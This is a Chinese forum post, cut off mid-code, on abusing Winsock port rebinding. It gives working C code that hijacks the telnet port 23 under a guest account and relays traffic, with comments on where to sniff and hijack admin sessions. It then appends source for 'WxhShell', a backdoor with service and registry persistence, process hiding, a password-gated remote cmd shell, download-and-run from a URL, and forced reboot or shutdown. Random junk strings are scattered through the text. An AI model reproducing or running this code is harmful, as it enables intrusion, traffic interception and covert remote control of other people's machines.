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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8eAc 5by  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S"}G/lBx.  
@ V_@r@A  
  saddr.sin_family = AF_INET; ;v}f7v '  
G<dWh.|`=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2q4dCbJ!  
ZvQ~K(3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CLQE@kF;  
;%#.d$cU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7v{X?86&  
zB/)_AW  
  这意味着什么?意味着可以进行如下的攻击: N:4oVi@Je  
P#gY-k&Nr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AK$h S M  
[{K   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ( E8(np  
ZUkrJ'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e*nT+Rp  
.u<i<S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F9N/_H*+  
Cp`>dtCd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MfJs?N0  
@Czj] t`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .aA 8'/  
~7kIe+V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vt(A?$j|A  
1\hh,s  
  #include E#5$O2b#  
  #include Rt%3\?rf  
  #include X+R?>xq{=h  
  #include    wZAY0@pA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I: j!A  
  int main() NWN Pq"  
  { G!%Cc0d"7  
  WORD wVersionRequested; G $P|F6  
  DWORD ret; ~F{u4p7{N  
  WSADATA wsaData; YtQsSU  
  BOOL val; QH) uh"  
  SOCKADDR_IN saddr; K6 {0`'x  
  SOCKADDR_IN scaddr; J2va Kl  
  int err; u'm[wjCj c  
  SOCKET s; ?E6*Ef  
  SOCKET sc; Q?1' JF!G  
  int caddsize; S4'\=w #  
  HANDLE mt; |Z"5zL10  
  DWORD tid;   r@|{mQOxa  
  wVersionRequested = MAKEWORD( 2, 2 ); CO)BF%?B  
  err = WSAStartup( wVersionRequested, &wsaData ); w^rINPAS  
  if ( err != 0 ) { h 8ND=(  
  printf("error!WSAStartup failed!\n"); MDyPwv\  
  return -1; 7aV(tMzd  
  } 9rd7l6$R"  
  saddr.sin_family = AF_INET; *.+Eg$'~V  
   ;$0)k(c9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 KX|7mr90K  
%wc=Mf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;X9nYH  
  saddr.sin_port = htons(23); f{[] m(X;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5os(.   
  { Wej'AR\NX  
  printf("error!socket failed!\n"); wM2[i  
  return -1; GadZ!_.f  
  } s}O9[_v  
  val = TRUE; ya*KA.EGg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '`+GC9VG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xUKn  
  { nc0!ag  
  printf("error!setsockopt failed!\n"); DGQGV[9%4C  
  return -1; _xHEA2e!  
  } m$w'`[H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NrNxI'M G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ++Z,U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &~6W!w  
F5Xj}`}bq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OJ/l}_a  
  { `Dn"<-9:  
  ret=GetLastError(); O%Mi`\W@  
  printf("error!bind failed!\n"); (|*CVI;  
  return -1; 7I_1Lnnf  
  } ,[Bv\4Ah  
  listen(s,2); Bq20U:f  
  while(1) a$~pAy5C  
  { Z0(}doh  
  caddsize = sizeof(scaddr); Hxw 7Q?F  
  //接受连接请求 j$he5^GC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )-RI  
  if(sc!=INVALID_SOCKET) iaq+#k@V  
  { IwR/4LYI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h VQj$TA  
  if(mt==NULL) sXpA^pT"T  
  { 65~X!90k  
  printf("Thread Creat Failed!\n"); $v6`5;#u  
  break; X=W.{?  
  } #cZ<[K q6  
  } [5iBXOmpS=  
  CloseHandle(mt); ;mi+[`E  
  } 2brxV'tk  
  closesocket(s); |#)S`Ua1  
  WSACleanup(); 1U/ dc.x5  
  return 0; %]iDhXLr  
  }   g aq"+@fH  
  DWORD WINAPI ClientThread(LPVOID lpParam)   OH*  
  { HZ+l){u  
  SOCKET ss = (SOCKET)lpParam; -/7[\S  
  SOCKET sc; j~ 'a %P  
  unsigned char buf[4096]; qkg`4'rLg  
  SOCKADDR_IN saddr; 1 po.Cmx  
  long num; t}!Y}D  
  DWORD val; o~(/Twxam  
  DWORD ret; \MY`R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q.$|TbVfds  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v'vYN h  
  saddr.sin_family = AF_INET; VY@6!9G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l?UFe$9(  
  saddr.sin_port = htons(23); 5g-AB`6T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A%zX LV=3O  
  { wS)2ymRg  
  printf("error!socket failed!\n"); WqHsf1? N  
  return -1; %+{[%?xh  
  } N1vPY]8  
  val = 100; }%@q; "9`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8}^R jMgI  
  { ):c)$$dn  
  ret = GetLastError(); !=Hu?F p  
  return -1; e[:i`J2  
  } vpoYb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WcG}9)9  
  { XuY#EJbZ  
  ret = GetLastError(); Ei Yj`P  
  return -1; T- |36Os4  
  } ?q %&"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [T<Z?  
  { UrP jZ:K'  
  printf("error!socket connect failed!\n"); LO&/U4:  
  closesocket(sc); Sp2<rI  
  closesocket(ss); 1c%ee$Q  
  return -1; K4{1}bU{>  
  } zIeJ[J@  
  while(1) j$5S_]2  
  { u@{z xYn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]'[(MH"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RXbhuI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Hy9c<X[F9  
  num = recv(ss,buf,4096,0); hbOyrjan x  
  if(num>0) NhgzU+)+  
  send(sc,buf,num,0); TGxmc37?  
  else if(num==0) ,*r}23  
  break; fGz++;b<S  
  num = recv(sc,buf,4096,0); :9O"?FE  
  if(num>0) `/4 R$E{  
  send(ss,buf,num,0); DA(ur'D  
  else if(num==0) /p PSo  
  break; TJhzyJ"t  
  } X;vfbF   
  closesocket(ss); ~:ldGfb|  
  closesocket(sc); *>#mI/#}  
  return 0 ; 'Wv`^{y <^  
  } ;L{#TC(]J]  
EW:tb-%`  
_>LI[yf{  
========================================================== V(5=-8k  
|RA|nu   
下边附上一个代码,,WXhSHELL &-h z&/A,  
>B~vE2^tQ~  
========================================================== ?: XY3!{  
A@o:mZ+XN(  
#include "stdafx.h" @7fx0I'n  
f-BEfC,}'  
#include <stdio.h> UgBD| ~zu  
#include <string.h> @_L:W1[  
#include <windows.h> wyVQV8+&>  
#include <winsock2.h> A;'*>NS  
#include <winsvc.h> 'ZUB:R@[  
#include <urlmon.h> 6iZ:0y0t+6  
,e{|[k  
#pragma comment (lib, "Ws2_32.lib") A$a>=U|Z8  
#pragma comment (lib, "urlmon.lib") 9td[^EB#(h  
nB+UxU@  
#define MAX_USER   100 // 最大客户端连接数 p#  4@  
#define BUF_SOCK   200 // sock buffer '/[9Xwh9  
#define KEY_BUFF   255 // 输入 buffer Shm$>\~=  
"+@>!U  
#define REBOOT     0   // 重启 iYE7BUH=  
#define SHUTDOWN   1   // 关机  uK_R#^  
,Q2?Z :l  
#define DEF_PORT   5000 // 监听端口 OZ9ud ]@\  
r@.3.Q  
#define REG_LEN     16   // 注册表键长度 9cO m$  
#define SVC_LEN     80   // NT服务名长度 ~ZN]2}  
pp!>:%  
// 从dll定义API 1/l;4~p7'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Iu9%uR>@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jb5nL`(j$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KXtc4wra  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `PH*tdYrh  
DClV&\i=o  
// wxhshell配置信息 @ a$HJ:  
struct WSCFG { TSp;Vr OP  
  int ws_port;         // 监听端口 ]\8{z"  
  char ws_passstr[REG_LEN]; // 口令 j&qJK,~  
  int ws_autoins;       // 安装标记, 1=yes 0=no `Qg#`  
  char ws_regname[REG_LEN]; // 注册表键名 r{Stsha(  
  char ws_svcname[REG_LEN]; // 服务名 *GMs>" C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V.f'Cw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Efz+>F 02  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -y+u0,=p.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >e4w8Svcy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aglW\L T^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }z/Y Hv%  
 mDJg-BQ  
}; / >As9|%  
WL6p+sN'  
// default Wxhshell configuration +1] xmnts  
struct WSCFG wscfg={DEF_PORT, ~nSGN%  
    "xuhuanlingzhe", !6 k{]v  
    1, uINm>$G,5  
    "Wxhshell", } XJZw|n  
    "Wxhshell", \i +=tGY  
            "WxhShell Service", Mb2rHUr  
    "Wrsky Windows CmdShell Service", J(s%"d  
    "Please Input Your Password: ", 51Nh"JTy  
  1, SjZ?keKZ  
  "http://www.wrsky.com/wxhshell.exe", S(b5Gj/Kd  
  "Wxhshell.exe" OG C|elSM  
    }; (ru9Ke%Dx  
!8#!P  
// 消息定义模块 5ZPe=SQ{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;44?`[oP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (_Ld^ ^|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S[_Hc$7U  
char *msg_ws_ext="\n\rExit."; l Zq`,E_L  
char *msg_ws_end="\n\rQuit."; vcsMU|GGh  
char *msg_ws_boot="\n\rReboot..."; @6~OQN  
char *msg_ws_poff="\n\rShutdown..."; T 5jZd@VT,  
char *msg_ws_down="\n\rSave to "; +EnJyli  
,XZ[L? >  
char *msg_ws_err="\n\rErr!"; BUozpqN}  
char *msg_ws_ok="\n\rOK!"; YnCWmlC  
DW,fh8w  
char ExeFile[MAX_PATH]; z3lMD'uU3  
int nUser = 0; .-0;:>  
HANDLE handles[MAX_USER]; wU|Y`wJmF  
int OsIsNt; " * Qwaq_  
v8< MAq  
SERVICE_STATUS       serviceStatus; ZV=)`E`I|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QCI-YJ&o  
qZ:--,9+  
// 函数声明 ~ 3HI;  
int Install(void); z [qO5z~I  
int Uninstall(void); }k-rOi'jL  
int DownloadFile(char *sURL, SOCKET wsh); SLiQHWw*J  
int Boot(int flag); *Y2d!9F}Sa  
void HideProc(void); :e&P's=  
int GetOsVer(void); wF`9}9q  
int Wxhshell(SOCKET wsl); zg3q\ ~  
void TalkWithClient(void *cs); KLc<c1BZ  
int CmdShell(SOCKET sock); P]pVYX# m  
int StartFromService(void); r|bvpZV  
int StartWxhshell(LPSTR lpCmdLine); n,Z B-"dW  
<AzM~]"3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9bpY>ze  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7;_./c_@  
<( 0TK5  
// 数据结构和表定义 u/D=&"tL  
SERVICE_TABLE_ENTRY DispatchTable[] = d9hJEu!Lu  
{ b ~Qd9 Nf  
{wscfg.ws_svcname, NTServiceMain}, Tn# >"Ag  
{NULL, NULL} igV4nL  
}; FDHa|<oz  
,a I0Aw  
// 自我安装 IX /r  
int Install(void) \\qw"w9  
{ NINaOs  
  char svExeFile[MAX_PATH]; Cu%|}xq  
  HKEY key; [y>;  
  strcpy(svExeFile,ExeFile); SGU~LW&  
?1I0VA']  
// 如果是win9x系统,修改注册表设为自启动 ^[d|^fRH Q  
if(!OsIsNt) { JvHGu&Nr!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !50Fue^JM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !2('Cq_^  
  RegCloseKey(key); +^c;4-X 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >F zu]G4]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !J}Bv  
  RegCloseKey(key); Xeg g2.Kk  
  return 0; ;UU+:~  
    } ak?XE4-N  
  } /lQGFLZL  
} ~PT( /L  
else { #du!tx ( _  
OG_2k3v  
// 如果是NT以上系统,安装为系统服务 zl: 5_u=T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W@^O'&3d  
if (schSCManager!=0) H1,;Xrm  
{ aF:_1. LC  
  SC_HANDLE schService = CreateService p5!=Ur&A c  
  ( pP&TFy#G+'  
  schSCManager, A22h+8yG  
  wscfg.ws_svcname, s!q6OVJ-  
  wscfg.ws_svcdisp, su}> >07  
  SERVICE_ALL_ACCESS, #^- U|~,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gE/O29Y  
  SERVICE_AUTO_START, e+z_Rj%Y;I  
  SERVICE_ERROR_NORMAL, G<C[A  
  svExeFile, 4Lx#5}P  
  NULL, mis cmD  
  NULL, /\-qz$  
  NULL, k,xY\r$  
  NULL, f$x\~y<[  
  NULL :N~1fvx  
  ); ;a/Gs^W  
  if (schService!=0) Tn+6:<OFdO  
  { s|U=_,.  
  CloseServiceHandle(schService); Qa nE]  
  CloseServiceHandle(schSCManager); w. gI0`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F/\w4T  
  strcat(svExeFile,wscfg.ws_svcname); |0?h6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y~T;{&wi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K.cMuh  
  RegCloseKey(key); H|4O`I;~(  
  return 0; ]q0mo1-EZ!  
    } 'H<0:bQ=I  
  } D7b<&D@  
  CloseServiceHandle(schSCManager); \v7M`! &  
} 6@-VLO))O  
} Kr!(<i  
0xVue[ep  
return 1; m4{F-++dk  
} vdloh ,  
[q/=%8qLUA  
// 自我卸载 9-Bp=M  
int Uninstall(void) /O1r=lv3Z  
{ AF4:v<EN  
  HKEY key; (^'TT>2B  
RLN>*X  
if(!OsIsNt) { Gb6t`dSzz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }g:y!p k  
  RegDeleteValue(key,wscfg.ws_regname); nz:I\yA  
  RegCloseKey(key); `<Xq@\H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #`5{?2gS9  
  RegDeleteValue(key,wscfg.ws_regname); lzz rzx^  
  RegCloseKey(key); `1F[.DdF  
  return 0; >&mlwxqv  
  } cB U,!  
} iN0gvjZ  
} ]Cpd`}'  
else { MP\$_;&xB  
[ Y_6PR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0FfBD[E:  
if (schSCManager!=0) ngoo4}  
{ Paz yY   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xQX,1NbH5  
  if (schService!=0) jk2h"):B>  
  { $v?+X20  
  if(DeleteService(schService)!=0) { 0 !yvcviw  
  CloseServiceHandle(schService); XJ~_FiB  
  CloseServiceHandle(schSCManager); `y; s1nL  
  return 0;  H  
  } ~d :Z |8  
  CloseServiceHandle(schService); s7 IaU|m  
  } !8^:19+  
  CloseServiceHandle(schSCManager); je1f\N45  
} *R.Q!L v+  
} {dV#"+  
MhN)ZhsC  
return 1; rK W<kQT  
} PDaHY  
eOa:%{Kj  
// 从指定url下载文件 :B?XNo  
int DownloadFile(char *sURL, SOCKET wsh) oR>o/$z$)g  
{ ;/#E!Ja/ u  
  HRESULT hr; nj99!"_   
char seps[]= "/"; @O#4duM4Qz  
char *token; CZ*c["x2  
char *file; :1"{0 gm  
char myURL[MAX_PATH]; h% BA,C  
char myFILE[MAX_PATH]; ;hi+.ng_  
#/zPAcV:  
strcpy(myURL,sURL);  &o$E1;og  
  token=strtok(myURL,seps); euO!+9p  
  while(token!=NULL) jZu">Eh,  
  { YHN@?}T()  
    file=token; a<l(zJptG  
  token=strtok(NULL,seps); qt5CoxeJ  
  } O7|0t\)  
Kl<qp7o0  
GetCurrentDirectory(MAX_PATH,myFILE); :9N~wd  
strcat(myFILE, "\\"); {7 &(2Z]z  
strcat(myFILE, file); v]|^.x:  
  send(wsh,myFILE,strlen(myFILE),0); 9E^IEwq'  
send(wsh,"...",3,0); `f`\j -Lu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `An`"$z  
  if(hr==S_OK) 8FyJo.vr(  
return 0; 1TbY,3W  
else VyH'7_aU  
return 1; y6ntGrZ}$  
^OKCvdS  
} Szrr`.']  
8MgoAX,p  
// 系统电源模块 )tGeQXVhbJ  
int Boot(int flag) u"r~5  
{ pOQ'k>!  
  HANDLE hToken; sJ)XoK syW  
  TOKEN_PRIVILEGES tkp; ''S*B|:  
<@xp. Y  
  if(OsIsNt) { ;}{xpJ/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vR<Y1<j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I`kaAOe  
    tkp.PrivilegeCount = 1; Bsi HVr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p ASNiH698  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VH7VJ [  
if(flag==REBOOT) { #y13(u,dN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iLw O4i  
  return 0; wvsKn YKX  
} !qPVC\l  
else { YlD ui8.N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /gT$d2{  
  return 0; hXdc5 ?i?  
} _#xS1sD  
  } @Y+YN;57  
  else { <wUDcF  
if(flag==REBOOT) { }N^.4HOS8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h}fz`ti U  
  return 0; d)F~)}TFM  
} & .VciSq6  
else { 8<ZxE(v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XL>v$7`#  
  return 0; x'_I{$C &  
} %[0V>  
} |SC^H56+  
/n;-f%dL  
return 1; Lbk?( TL  
} 3a #2 }  
rlr)n\R#  
// win9x进程隐藏模块 Xwy0dXko  
void HideProc(void) =4cK9ac  
{ :4s{?IY)l  
U8L%=/N>B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fCTdM+t  
  if ( hKernel != NULL ) (&R /ns~  
  { HbQ `b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'PRsZ`x.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R=P=?U.  
    FreeLibrary(hKernel); Y`jvza%  
  } $j*%}x~[  
(#GOXz  
return; OW1i{  
} I\E`xkbBu  
!Kr|04Qp#x  
// 获取操作系统版本 Q!8AFLff4  
int GetOsVer(void) \}Fx''  
{ U 2am1}  
  OSVERSIONINFO winfo; @qk$ 6X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <?'d \B  
  GetVersionEx(&winfo); O?e38(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  nN1\  
  return 1; Yy`\??,  
  else gV@FT|j!i  
  return 0; - &u]B$  
} ! iuDmL  
Qa@b-v'by  
// 客户端句柄模块 Iko1%GJ1Z  
int Wxhshell(SOCKET wsl) U_ n1QU  
{ =W'a6)WE  
  SOCKET wsh; %PozxF:  
  struct sockaddr_in client; N>##} i  
  DWORD myID; 9}^nozR,I  
i[1K~yXq:  
  while(nUser<MAX_USER) QcJ?1GwA"  
{ =.`(KXT  
  int nSize=sizeof(client); .lnyn|MVb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U@21N3_@_  
  if(wsh==INVALID_SOCKET) return 1;  SyFw  
y J*`OU#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 21'I-j  
if(handles[nUser]==0) tE3#Uq  
  closesocket(wsh); [.Vy  
else Z5 iP1/&D  
  nUser++; |O3wAxc3W  
  } 9jq}`$S{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +bpUb0.W  
R:c$f(aKv%  
  return 0; &R+/Ie#0dz  
} ;8\w$SPP  
_b8&$\>  
// 关闭 socket ^R- -&{I  
void CloseIt(SOCKET wsh) x`n$4a'7b  
{ "SC}C  
closesocket(wsh); xR;>n[6  
nUser--; D^qto{!  
ExitThread(0);  *R1 m=  
} IcmTF #{D  
AyHhq8Y  
// 客户端请求句柄 }jHS  
void TalkWithClient(void *cs) MH@=Qqx#=t  
{ <,!8xp7,~  
r4&g~+ck  
  SOCKET wsh=(SOCKET)cs; pu#h:nb>88  
  char pwd[SVC_LEN]; | a001_Wv  
  char cmd[KEY_BUFF]; 50r3Kl0  
char chr[1]; vN#?>aL  
int i,j; {Q9?Q?  
'J\nvNm  
  while (nUser < MAX_USER) { Fy:CG6@X  
]@E_Hx{S  
if(wscfg.ws_passstr) { mQEE?/xX;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +KV?W+g)`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NG3!09eY  
  //ZeroMemory(pwd,KEY_BUFF); }e$^v*16  
      i=0; .*\TG/x  
  while(i<SVC_LEN) { .Z%y16)T  
eC`} oEz  
  // 设置超时 |f5WN&c  
  fd_set FdRead; OsI>gX>  
  struct timeval TimeOut; l;{n" F  
  FD_ZERO(&FdRead); %N5gQXg  
  FD_SET(wsh,&FdRead); )CgKZ"  
  TimeOut.tv_sec=8; @BQJKPF*  
  TimeOut.tv_usec=0; x\( @ v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7A:k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Do1 Ip&X  
KnL-qc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e4:,W+g,9  
  pwd=chr[0]; ay~c@RXW  
  if(chr[0]==0xd || chr[0]==0xa) { {"{kWbXZ  
  pwd=0; matW>D;J  
  break; 9!'qLO  
  } Hq<Sg4nz  
  i++; >s0A.7,5  
    } dH]0 (aJ  
a)L\+$@*  
  // 如果是非法用户,关闭 socket 581Jp'cje  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  TA;r  
} ."`mh&+`  
/QuuBtp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &CP0T:h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$ GA s  
as#_Fer`U  
while(1) { O7<--  
vG E;PwR  
  ZeroMemory(cmd,KEY_BUFF); r 0m A  
m~7[fgN2  
      // 自动支持客户端 telnet标准   MU_8bK9m  
  j=0; i'XW)n  
  while(j<KEY_BUFF) { N RB>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _8zZ.~)  
  cmd[j]=chr[0]; T}fH  
  if(chr[0]==0xa || chr[0]==0xd) { Nf@-i`  
  cmd[j]=0; dKk\"6 o  
  break; 7 2Zp%a=  
  } ~>2DA$Ec  
  j++; ? 2#tIND  
    } X8(H#Ef[  
aTi2=HL=S  
  // 下载文件 ,orq&#*Wd  
  if(strstr(cmd,"http://")) { :Q\Es:y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YoC{ t&rY  
  if(DownloadFile(cmd,wsh)) Cn\5Vyrl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>0R!Rl8  
  else op!ft/Yyb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :vsBobiJ  
  } |:qaF  
  else { Tt^PiaS!  
/NE<?t N  
    switch(cmd[0]) { gc5u@(P"  
  ;Gf,I1d}{  
  // 帮助 <V`1?9c7D1  
  case '?': { sY|by\-c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aC!e#(q  
    break; BH`%3Mw  
  } 4k$i:st;  
  // 安装 ;dC>$_P?  
  case 'i': { <H; z4  
    if(Install()) b\{34z,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`&7pYd,  
    else :A,g:B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LgG7|\(-  
    break; mZ%"""X\Ei  
    } 4O I''i  
  // 卸载 v@xbur\L  
  case 'r': { `Zdeq.R]  
    if(Uninstall()) 2YW| /o4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s)dL^lj;  
    else  !' }  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b\Wlpb=QZ  
    break; j<*  
    } c@|!0 U%j  
  // 显示 wxhshell 所在路径 O {hM  
  case 'p': { S*aMUV&  
    char svExeFile[MAX_PATH]; \r.{Ru  
    strcpy(svExeFile,"\n\r"); 0fOx&"UAB  
      strcat(svExeFile,ExeFile); Q4H(JD1f)  
        send(wsh,svExeFile,strlen(svExeFile),0); h4iz(*  
    break; Y5dt/8Jo  
    } \OzPDN  
  // 重启 ,0pCc<  
  case 'b': {  }q$6^y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H$@5\pP>  
    if(Boot(REBOOT)) \]:}lVtxS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXAgT!ZD  
    else { "d5nVO/  
    closesocket(wsh); d:<</ah  
    ExitThread(0); ;#i$5L!*B  
    } >$/<~j]  
    break; uGoySt&;(  
    } 5%6{ ePh{  
  // 关机 V/t/uNm  
  case 'd': { y^u9Ttf{  
